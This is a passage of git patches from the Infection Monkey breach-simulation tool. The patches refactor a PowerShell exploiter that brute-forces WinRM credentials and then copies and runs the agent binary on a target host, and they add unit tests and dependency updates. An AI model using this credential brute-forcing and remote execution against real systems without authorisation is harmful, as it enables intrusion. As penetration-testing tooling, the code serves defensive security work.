{ex}" + ) + self.report_login_attempt(False, username, password) return None From 1928f1b9bc4e60c672741ef1d323256ea7a04ef1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 12:11:59 -0400 Subject: [PATCH 048/454] Agent: Remove "credentials" local variable --- monkey/infection_monkey/exploit/powershell.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 6fbae703e..5ab92235c 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -48,9 +48,7 @@ class PowerShellExploiter(HostExploiter): return self._execute_monkey_agent_on_victim() def _authenticate_via_brute_force(self) -> Optional[Client]: - credentials = self._get_credentials() - - for username, password in credentials: + for username, password in self._get_credentials(): try: client = self._authenticate(username, password) From aef8f2e37af232c79e5fa0da894731af3389df70 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 12:16:52 -0400 Subject: [PATCH 049/454] Agent: Extract method _build_monkey_execution_command --- monkey/infection_monkey/exploit/powershell.py | 39 ++++++++++--------- 1 file changed, 21 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 5ab92235c..46ad32610 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -121,15 +121,15 @@ class PowerShellExploiter(HostExploiter): self._write_virtual_file_to_local_path() - self.monkey_path_on_victim = ( + monkey_path_on_victim = ( self._config.dropper_target_path_win_32 if self.is_32bit else self._config.dropper_target_path_win_64 ) - is_monkey_copy_successful = self._copy_monkey_binary_to_victim() + is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) if is_monkey_copy_successful: - self._run_monkey_executable_on_victim() + self._run_monkey_executable_on_victim(monkey_path_on_victim) else: return False @@ -153,28 +153,17 @@ class PowerShellExploiter(HostExploiter): with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: monkey_local_file.write(monkey_virtual_file.read()) - def _copy_monkey_binary_to_victim(self) -> bool: + def _copy_monkey_binary_to_victim(self, dest: str) -> bool: try: - self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim) + self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest) return True except Exception: return False finally: os.remove(TEMP_MONKEY_BINARY_FILEPATH) - def _run_monkey_executable_on_victim(self) -> None: - monkey_params = build_monkey_commandline( - target_host=self.host, - depth=get_monkey_depth() - 1, - vulnerable_port=None, - location=self.monkey_path_on_victim, - ) - - monkey_execution_command = RUN_MONKEY % { - "monkey_path": self.monkey_path_on_victim, - "monkey_type": DROPPER_ARG, - "parameters": monkey_params, - } + def _run_monkey_executable_on_victim(self, executable_path) -> None: + monkey_execution_command = self._build_monkey_execution_command(executable_path) with self.client.wsman, RunspacePool(self.client.wsman) as pool: ps = PowerShell(pool) @@ -182,3 +171,17 @@ class PowerShellExploiter(HostExploiter): "name", "create" ).add_parameter("ArgumentList", monkey_execution_command) ps.invoke() + + def _build_monkey_execution_command(self, executable_path) -> str: + monkey_params = build_monkey_commandline( + target_host=self.host, + depth=get_monkey_depth() - 1, + vulnerable_port=None, + location=executable_path, + ) + + return RUN_MONKEY % { + "monkey_path": executable_path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } From 4e7a95316e72fe74f24c81b1f99785b5fb3676cc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 12:53:37 -0400 Subject: [PATCH 050/454] Agent: Extract _get_credentials() into powershell_utils/utils.py --- monkey/infection_monkey/exploit/powershell.py | 38 +++------------- .../exploit/powershell_utils/utils.py | 43 ++++++++++++++++++ .../exploit/powershell_utils/test_utils.py | 44 +++++++++++++++++++ 3 files changed, 94 insertions(+), 31 deletions(-) create mode 100644 monkey/infection_monkey/exploit/powershell_utils/utils.py create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 46ad32610..004107c1f 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -1,6 +1,6 @@ import logging import os -from typing import List, Optional, Tuple, Union +from typing import Optional, Union import pypsrp import spnego @@ -12,6 +12,7 @@ import infection_monkey.monkeyfs as monkeyfs from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost from infection_monkey.utils.commands import build_monkey_commandline @@ -48,7 +49,11 @@ class PowerShellExploiter(HostExploiter): return self._execute_monkey_agent_on_victim() def _authenticate_via_brute_force(self) -> Optional[Client]: - for username, password in self._get_credentials(): + credentials = utils.get_credentials( + self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os() + ) + + for username, password in credentials: try: client = self._authenticate(username, password) @@ -68,35 +73,6 @@ class PowerShellExploiter(HostExploiter): return None - def _get_credentials(self) -> List[Tuple[Optional[str], Optional[str]]]: - # When username or password is None, this instructs the powershell client to attempt to use - # The current user's credentials. This is only valid if the client is running from a Windows - # machine. - - credentials = [] - credentials.extend(self._get_empty_credentials()) - credentials.extend(self._get_username_only_credentials()) - credentials.extend(self._get_username_password_credentials()) - - return credentials - - def _get_empty_credentials(self) -> List[Tuple[None, None]]: - if is_windows_os(): - return [(None, None)] - - return [] - - def _get_username_only_credentials(self) -> List[Tuple[str, Optional[str]]]: - credentials = [(username, "") for username in self._config.exploit_user_list] - - if is_windows_os(): - credentials.extend([(username, None) for username in self._config.exploit_user_list]) - - return credentials - - def _get_username_password_credentials(self) -> List[Tuple[str, str]]: - return [credentials for credentials in self._config.get_exploit_user_password_pairs()] - def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: ssl = password != "" auth = "negotiate" if password != "" else "basic" diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py new file mode 100644 index 000000000..e7143abf3 --- /dev/null +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -0,0 +1,43 @@ +from itertools import product +from typing import List, Optional, Tuple + + +def get_credentials( + usernames: List[str], passwords: List[str], is_windows: bool +) -> List[Tuple[Optional[str], Optional[str]]]: + # When username or password is None, this instructs the powershell client to attempt to use + # The current user's credentials. This is only valid if the client is running from a Windows + # machine. + + credentials = [] + credentials.extend(_get_empty_credentials(is_windows)) + credentials.extend(_get_username_only_credentials(usernames, is_windows)) + credentials.extend(_get_username_password_credentials(usernames, passwords)) + + return credentials + + +def _get_empty_credentials(is_windows: bool) -> List[Tuple[None, None]]: + if is_windows: + return [(None, None)] + + return [] + + +def _get_username_only_credentials( + usernames: List[str], is_windows: bool +) -> List[Tuple[str, Optional[str]]]: + credentials = [(username, "") for username in usernames] + + if is_windows: + credentials.extend([(username, None) for username in usernames]) + + return credentials + + +def _get_username_password_credentials( + usernames: List[str], passwords: List[str] +) -> List[Tuple[str, str]]: + username_password_pairs = product(usernames, passwords) + + return [credentials for credentials in username_password_pairs] diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py new file mode 100644 index 000000000..422a00eae --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -0,0 +1,44 @@ +from infection_monkey.exploit.powershell_utils import utils + +TEST_USERS = ["user1", "user2"] +TEST_PASSWORDS = ["p1", "p2"] + + +def test_get_credentials__empty_windows_true(): + credentials = utils.get_credentials([], [], True) + + assert len(credentials) == 1 + assert credentials[0] == (None, None) + + +def test_get_credentials__empty_windows_false(): + credentials = utils.get_credentials([], [], False) + + assert len(credentials) == 0 + + +def test_get_credentials__username_only_windows_false(): + credentials = utils.get_credentials(TEST_USERS, [], False) + + assert len(credentials) == 2 + assert (TEST_USERS[0], "") in credentials + assert (TEST_USERS[1], "") in credentials + + +def test_get_credentials__username_only_windows_true(): + credentials = utils.get_credentials(TEST_USERS, [], True) + + assert len(credentials) == 5 + assert (TEST_USERS[0], "") in credentials + assert (TEST_USERS[1], "") in credentials + assert (TEST_USERS[0], None) in credentials + assert (TEST_USERS[1], None) in credentials + + +def test_get_credentials__username_password(): + credentials = utils.get_credentials(TEST_USERS, TEST_PASSWORDS, True) + + assert len(credentials) == 9 + for user in TEST_USERS: + for password in TEST_PASSWORDS: + assert (user, password) in credentials From 58f23f4fc04a04ed3bd5f476c1ef6719d5dbca26 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 13:13:37 -0400 Subject: [PATCH 051/454] Agent: Extract powershell client parameters into powershell_utils --- monkey/infection_monkey/exploit/powershell.py | 4 +--- .../exploit/powershell_utils/utils.py | 13 ++++++++++ .../exploit/powershell_utils/test_utils.py | 24 +++++++++++++++++++ 3 files changed, 38 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 004107c1f..4ad151244 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -74,9 +74,7 @@ class PowerShellExploiter(HostExploiter): return None def _authenticate(self, username: Optional[str], password: Optional[str]) -> Client: - ssl = password != "" - auth = "negotiate" if password != "" else "basic" - encryption = "auto" if password != "" else "never" + (ssl, auth, encryption) = utils.get_powershell_client_params(password) with Client( self.host.ip_addr, diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index e7143abf3..30aa4bdce 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,6 +1,11 @@ from itertools import product from typing import List, Optional, Tuple +AUTH_BASIC = "basic" +AUTH_NEGOTIATE = "negotiate" +ENCRYPTION_AUTO = "auto" +ENCRYPTION_NEVER = "never" + def get_credentials( usernames: List[str], passwords: List[str], is_windows: bool @@ -41,3 +46,11 @@ def _get_username_password_credentials( username_password_pairs = product(usernames, passwords) return [credentials for credentials in username_password_pairs] + + +def get_powershell_client_params(password: str) -> Tuple[bool, str, str]: + ssl = password != "" + auth = AUTH_NEGOTIATE if password != "" else AUTH_BASIC + encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER + + return (ssl, auth, encryption) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index 422a00eae..b426d6bcd 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -42,3 +42,27 @@ def test_get_credentials__username_password(): for user in TEST_USERS: for password in TEST_PASSWORDS: assert (user, password) in credentials + + +def test_get_powershell_client_params__password_none(): + (ssl, auth, encryption) = utils.get_powershell_client_params(None) + + assert ssl is True + assert auth == utils.AUTH_NEGOTIATE + assert encryption == utils.ENCRYPTION_AUTO + + +def test_get_powershell_client_params__password_str(): + (ssl, auth, encryption) = utils.get_powershell_client_params("1234") + + assert ssl is True + assert auth == utils.AUTH_NEGOTIATE + assert encryption == utils.ENCRYPTION_AUTO + + +def test_get_powershell_client_params__password_empty(): + (ssl, auth, encryption) = utils.get_powershell_client_params("") + + assert ssl is False + assert auth == utils.AUTH_BASIC + assert encryption == utils.ENCRYPTION_NEVER From c385177dac74d089f1e261eda451c7621e3a86f4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 13:14:29 -0400 Subject: [PATCH 052/454] Agent: Extract _build_monkey_execution_command() into powershell_utils --- monkey/infection_monkey/exploit/powershell.py | 21 ++++--------------- .../exploit/powershell_utils/utils.py | 18 ++++++++++++++++ .../exploit/powershell_utils/test_utils.py | 12 +++++++++++ 3 files changed, 34 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 4ad151244..0f5aa5175 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -14,8 +14,7 @@ from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils import utils from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.model import DROPPER_ARG, GET_ARCH_WINDOWS, RUN_MONKEY, VictimHost -from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -137,7 +136,9 @@ class PowerShellExploiter(HostExploiter): os.remove(TEMP_MONKEY_BINARY_FILEPATH) def _run_monkey_executable_on_victim(self, executable_path) -> None: - monkey_execution_command = self._build_monkey_execution_command(executable_path) + monkey_execution_command = utils.build_monkey_execution_command( + self.host, get_monkey_depth() - 1, executable_path + ) with self.client.wsman, RunspacePool(self.client.wsman) as pool: ps = PowerShell(pool) @@ -145,17 +146,3 @@ class PowerShellExploiter(HostExploiter): "name", "create" ).add_parameter("ArgumentList", monkey_execution_command) ps.invoke() - - def _build_monkey_execution_command(self, executable_path) -> str: - monkey_params = build_monkey_commandline( - target_host=self.host, - depth=get_monkey_depth() - 1, - vulnerable_port=None, - location=executable_path, - ) - - return RUN_MONKEY % { - "monkey_path": executable_path, - "monkey_type": DROPPER_ARG, - "parameters": monkey_params, - } diff --git a/monkey/infection_monkey/exploit/powershell_utils/utils.py b/monkey/infection_monkey/exploit/powershell_utils/utils.py index 30aa4bdce..1da859fe9 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/utils.py +++ b/monkey/infection_monkey/exploit/powershell_utils/utils.py @@ -1,6 +1,9 @@ from itertools import product from typing import List, Optional, Tuple +from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost +from infection_monkey.utils.commands import build_monkey_commandline + AUTH_BASIC = "basic" AUTH_NEGOTIATE = "negotiate" ENCRYPTION_AUTO = "auto" @@ -54,3 +57,18 @@ def get_powershell_client_params(password: str) -> Tuple[bool, str, str]: encryption = ENCRYPTION_AUTO if password != "" else ENCRYPTION_NEVER return (ssl, auth, encryption) + + +def build_monkey_execution_command(host: VictimHost, depth: int, executable_path: str) -> str: + monkey_params = build_monkey_commandline( + target_host=host, + depth=depth, + vulnerable_port=None, + location=executable_path, + ) + + return RUN_MONKEY % { + "monkey_path": executable_path, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py index b426d6bcd..04e062f3b 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/powershell_utils/test_utils.py @@ -1,4 +1,5 @@ from infection_monkey.exploit.powershell_utils import utils +from infection_monkey.model.host import VictimHost TEST_USERS = ["user1", "user2"] TEST_PASSWORDS = ["p1", "p2"] @@ -66,3 +67,14 @@ def test_get_powershell_client_params__password_empty(): assert ssl is False assert auth == utils.AUTH_BASIC assert encryption == utils.ENCRYPTION_NEVER + + +def test_build_monkey_execution_command(): + host = VictimHost("127.0.0.1") + depth = 2 + executable_path = "/tmp/test-monkey" + + cmd = utils.build_monkey_execution_command(host, depth, executable_path) + + assert f"-d {depth}" in cmd + assert executable_path in cmd From dd56f3d650a56be5c07fd75b1c451053c8054f46 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 24 Aug 2021 13:37:40 -0400 Subject: [PATCH 053/454] Island: Fix minor formatting error --- .../cc/services/config_schema/definitions/exploiter_classes.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 5ac348b5b..9a7922a0f 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -163,7 +163,7 @@ EXPLOITER_CLASSES = { "computers.", "safe": True, "link": "https://www.guardicore.com/infectionmonkey" - "/docs/reference/exploiters/" # TODO: Change link once documentation is updated + "/docs/reference/exploiters/", # TODO: Change link once documentation is updated }, ], } From af57272e361a164c1f9b703d84a771be9b9bf82e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 23 Aug 2021 20:12:12 -0400 Subject: [PATCH 054/454] Island: Update python dependencies (Flask-JWT-Extended 3.24.1 -> 4.*) Resolves #1048 --- monkey/monkey_island/Pipfile | 3 +- monkey/monkey_island/Pipfile.lock | 665 +++++++++++++++++------------- 2 files changed, 372 insertions(+), 296 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index 418849eb3..d6de9424f 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -23,13 +23,12 @@ ring = ">=0.7.3" stix2 = ">=2.0.2" six = ">=1.13.0" tqdm = ">=4.47" -Flask-JWT-Extended = "==3.24.1" +Flask-JWT-Extended = "==4.*" Flask-PyMongo = ">=2.3.0" Flask-RESTful = ">=0.3.8" Flask = ">=1.1" Werkzeug = ">=1.0.1" ScoutSuite = {git = "https://github.com/guardicode/ScoutSuite"} -PyJWT = "==1.7" pyaescrypt = "*" [dev-packages] diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index e62fd0c56..3a8ccde88 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "7157e13d928bde23582b6289405713962f3334bd32ac80b22202b605ed4dcefb" + "sha256": "e7edc14aeb97a7a388e7f1f481feadc0619bac6603be632afaf09a4a886a804d" }, "pipfile-spec": 6, "requires": { @@ -107,8 +107,10 @@ "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202", "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5", "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548", + "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a", "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f", "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20", + "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218", "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c", "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e", "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56", @@ -120,6 +122,7 @@ "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346", "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b", "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e", + "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534", "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb", "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0", "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156", @@ -133,22 +136,24 @@ "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd", "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728", "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7", + "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca", "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99", "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf", "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e", "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c", + "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5", "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69" ], "index": "pypi", "version": "==1.14.6" }, - "chardet": { + "charset-normalizer": { "hashes": [ - "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", - "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" + "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b", + "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==4.0.0" + "markers": "python_version >= '3'", + "version": "==2.0.4" }, "cheroot": { "hashes": [ @@ -208,6 +213,8 @@ "sha256:3d8427734c781ea5f1b41d6589c293089704d4759e34597dce91014ac125aad1", "sha256:7ec5d3b029f5fa2b179325908b9cd93db28ab7b85bb6c1db56b10e0b54235177", "sha256:8e56e16617872b0957d1c9742a3f94b43533447fd78321514abbe7db216aa250", + "sha256:b01fd6f2737816cb1e08ed4807ae194404790eac7ad030b34f2ce72b332f5586", + "sha256:bf40af59ca2465b24e54f671b2de2c59257ddc4f7e5706dbd6930e26823668d3", "sha256:de4e5f7f68220d92b7637fc99847475b59154b7a1b3868fb7385337af54ac9ca", "sha256:eb8cc2afe8b05acbd84a43905832ec78e7b3873fb124ca190f574dca7389a87d", "sha256:ee77aa129f481be46f8d92a1a7db57269a2f23052d5f2433b4621bb457081cc9" @@ -241,10 +248,11 @@ }, "flask-jwt-extended": { "hashes": [ - "sha256:0aa8ee6fa7eb3be9314e39dd199ac8e19389a95371f9d54e155c7aa635e319dd" + "sha256:22b8ffa7587d50aaf65f3009f1d55ef7287da8260eaf4655a5837e33479216c3", + "sha256:26969d931bd959dd6b82b2ac07733b499d52c8967229e70bf4ad5859de6cb3b2" ], "index": "pypi", - "version": "==3.24.1" + "version": "==4.2.3" }, "flask-pymongo": { "hashes": [ @@ -271,92 +279,91 @@ }, "gevent": { "hashes": [ - "sha256:16574e4aa902ebc7bad564e25aa9740a82620fdeb61e0bbf5cbc32e84c13cb6a", - "sha256:188c3c6da67e17ffa28f960fc80f8b7e4ba0f4efdc7519822c9d3a1784ca78ea", - "sha256:1e5af63e452cc1758924528a2ba6d3e472f5338e1534b7233cd01d3429fc1082", - "sha256:242e32cc011ad7127525ca9181aef3379ce4ad9c733aefe311ecf90248ad9a6f", - "sha256:2a9ae0a0fd956cbbc9c326b8f290dcad2b58acfb2e2732855fe1155fb110a04d", - "sha256:33741e3cd51b90483b14f73b6a3b32b779acf965aeb91d22770c0c8e0c937b73", - "sha256:3694f393ab08372bd337b9bc8eebef3ccab3c1623ef94536762a1eee68821449", - "sha256:464ec84001ba5108a9022aded4c5e69ea4d13ef11a2386d3ec37c1d08f3074c9", - "sha256:520cc2a029a9eef436e4e56b007af7859315cafa21937d43c1d5269f12f2c981", - "sha256:77b65a68c83e1c680f52dc39d5e5406763dd10a18ce08420665504b6f047962e", - "sha256:7bdfee07be5eee4f687bf90c54c2a65c909bcf2b6c4878faee51218ffa5d5d3e", - "sha256:969743debf89d6409423aaeae978437cc042247f91f5801e946a07a0a3b59148", - "sha256:96f704561a9dd9a817c67f2e279e23bfad6166cf95d63d35c501317e17f68bcf", - "sha256:9f99c3ec61daed54dc074fbcf1a86bcf795b9dfac2f6d4cdae6dfdb8a9125692", - "sha256:a130a1885603eabd8cea11b3e1c3c7333d4341b537eca7f0c4794cb5c7120db1", - "sha256:a54b9c7516c211045d7897a73a4ccdc116b3720c9ad3c591ef9592b735202a3b", - "sha256:ac98570649d9c276e39501a1d1cbf6c652b78f57a0eb1445c5ff25ff80336b63", - "sha256:afaeda9a7e8e93d0d86bf1d65affe912366294913fe43f0d107145dc32cd9545", - "sha256:b6ffc1131e017aafa70d7ec19cc24010b19daa2f11d5dc2dc191a79c3c9ea147", - "sha256:ba0c6ad94614e9af4240affbe1b4839c54da5a0a7e60806c6f7f69c1a7f5426e", - "sha256:bdb3677e77ab4ebf20c4752ac49f3b1e47445678dd69f82f9905362c68196456", - "sha256:c2c4326bb507754ef354635c05f560a217c171d80f26ca65bea81aa59b1ac179", - "sha256:cfb2878c2ecf27baea436bb9c4d8ab8c2fa7763c3916386d5602992b6a056ff3", - "sha256:e370e0a861db6f63c75e74b6ee56a40f5cdac90212ec404621445afa12bfc94b", - "sha256:e8a5d9fcf5d031f2e4c499f5f4b53262face416e22e8769078354f641255a663", - "sha256:ecff28416c99e0f73137f35849c3027cc3edde9dc13b7707825ebbf728623928", - "sha256:f0498df97a303da77e180a9368c9228b0fc94d10dd2ce79fc5ebb63fec0d2fc9", - "sha256:f91fd07b9cf642f24e58ed381e19ec33e28b8eee8726c19b026ea24fcc9ff897" + "sha256:02d1e8ca227d0ab0b7917fd7e411f9a534475e0a41fb6f434e9264b20155201a", + "sha256:0c7b4763514fec74c9fe6ad10c3de62d8fe7b926d520b1e35eb6887181b954ff", + "sha256:1c9c87b15f792af80edc950a83ab8ef4f3ba3889712211c2c42740ddb57b5492", + "sha256:23077d87d1589ac141c22923fd76853d2cc5b7e3c5e1f1f9cdf6ff23bc9790fc", + "sha256:37a469a99e6000b42dd0b9bbd9d716dbd66cdc6e5738f136f6a266c29b90ee99", + "sha256:3b600145dc0c5b39c6f89c2e91ec6c55eb0dd52dc8148228479ca42cded358e4", + "sha256:3f5ba654bdd3c774079b553fef535ede5b52c7abd224cb235a15da90ae36251b", + "sha256:43e93e1a4738c922a2416baf33f0afb0a20b22d3dba886720bc037cd02a98575", + "sha256:473f918bdf7d2096e391f66bd8ce1e969639aa235e710aaf750a37774bb585bd", + "sha256:4c94d27be9f0439b28eb8bd0f879e6142918c62092fda7fb96b6d06f01886b94", + "sha256:55ede95f41b74e7506fab293ad04cc7fc2b6f662b42281e9f2d668ad3817b574", + "sha256:6cad37a55e904879beef2a7e7c57c57d62fde2331fef1bec7f2b2a7ef14da6a2", + "sha256:72d4c2a8e65bbc702db76456841c7ddd6de2d9ab544a24aa74ad9c2b6411a269", + "sha256:75c29ed5148c916021d39d2fac90ccc0e19adf854626a34eaee012aa6b1fcb67", + "sha256:84e1af2dfb4ea9495cb914b00b6303ca0d54bf0a92e688a17e60f6b033873df2", + "sha256:8d8655ce581368b7e1ab42c8a3a166c0b43ea04e59970efbade9448864585e99", + "sha256:90131877d3ce1a05da1b718631860815b89ff44e93c42d168c9c9e8893b26318", + "sha256:9d46bea8644048ceac5737950c08fc89c37a66c34a56a6c9e3648726e60cb767", + "sha256:a8656d6e02bf47d7fa47728cf7a7cbf408f77ef1fad12afd9e0e3246c5de1707", + "sha256:aaf1451cd0d9c32f65a50e461084a0540be52b8ea05c18669c95b42e1f71592a", + "sha256:afc877ff4f277d0e51a1206d748fdab8c1e0256f7a05e1b1067abbed71c64da9", + "sha256:b10c3326edb76ec3049646dc5131608d6d3733b5adfc75d34852028ecc67c52c", + "sha256:ceec7c5f15fb2f9b767b194daa55246830db6c7c3c2f0b1c7e9e90cb4d01f3f9", + "sha256:e00dc0450f79253b7a3a7f2a28e6ca959c8d0d47c0f9fa2c57894c7974d5965f", + "sha256:e91632fdcf1c9a33e97e35f96edcbdf0b10e36cf53b58caa946dca4836bb688c", + "sha256:f39d5defda9443b5fb99a185050e94782fe7ac38f34f751b491142216ad23bc7" ], "index": "pypi", - "version": "==21.1.2" + "version": "==21.8.0" }, "greenlet": { "hashes": [ - "sha256:03f28a5ea20201e70ab70518d151116ce939b412961c33827519ce620957d44c", - "sha256:06d7ac89e6094a0a8f8dc46aa61898e9e1aec79b0f8b47b2400dd51a44dbc832", - "sha256:06ecb43b04480e6bafc45cb1b4b67c785e183ce12c079473359e04a709333b08", - "sha256:096cb0217d1505826ba3d723e8981096f2622cde1eb91af9ed89a17c10aa1f3e", - "sha256:0c557c809eeee215b87e8a7cbfb2d783fb5598a78342c29ade561440abae7d22", - "sha256:0de64d419b1cb1bfd4ea544bedea4b535ef3ae1e150b0f2609da14bbf48a4a5f", - "sha256:14927b15c953f8f2d2a8dffa224aa78d7759ef95284d4c39e1745cf36e8cdd2c", - "sha256:16183fa53bc1a037c38d75fdc59d6208181fa28024a12a7f64bb0884434c91ea", - "sha256:206295d270f702bc27dbdbd7651e8ebe42d319139e0d90217b2074309a200da8", - "sha256:22002259e5b7828b05600a762579fa2f8b33373ad95a0ee57b4d6109d0e589ad", - "sha256:2325123ff3a8ecc10ca76f062445efef13b6cf5a23389e2df3c02a4a527b89bc", - "sha256:258f9612aba0d06785143ee1cbf2d7361801c95489c0bd10c69d163ec5254a16", - 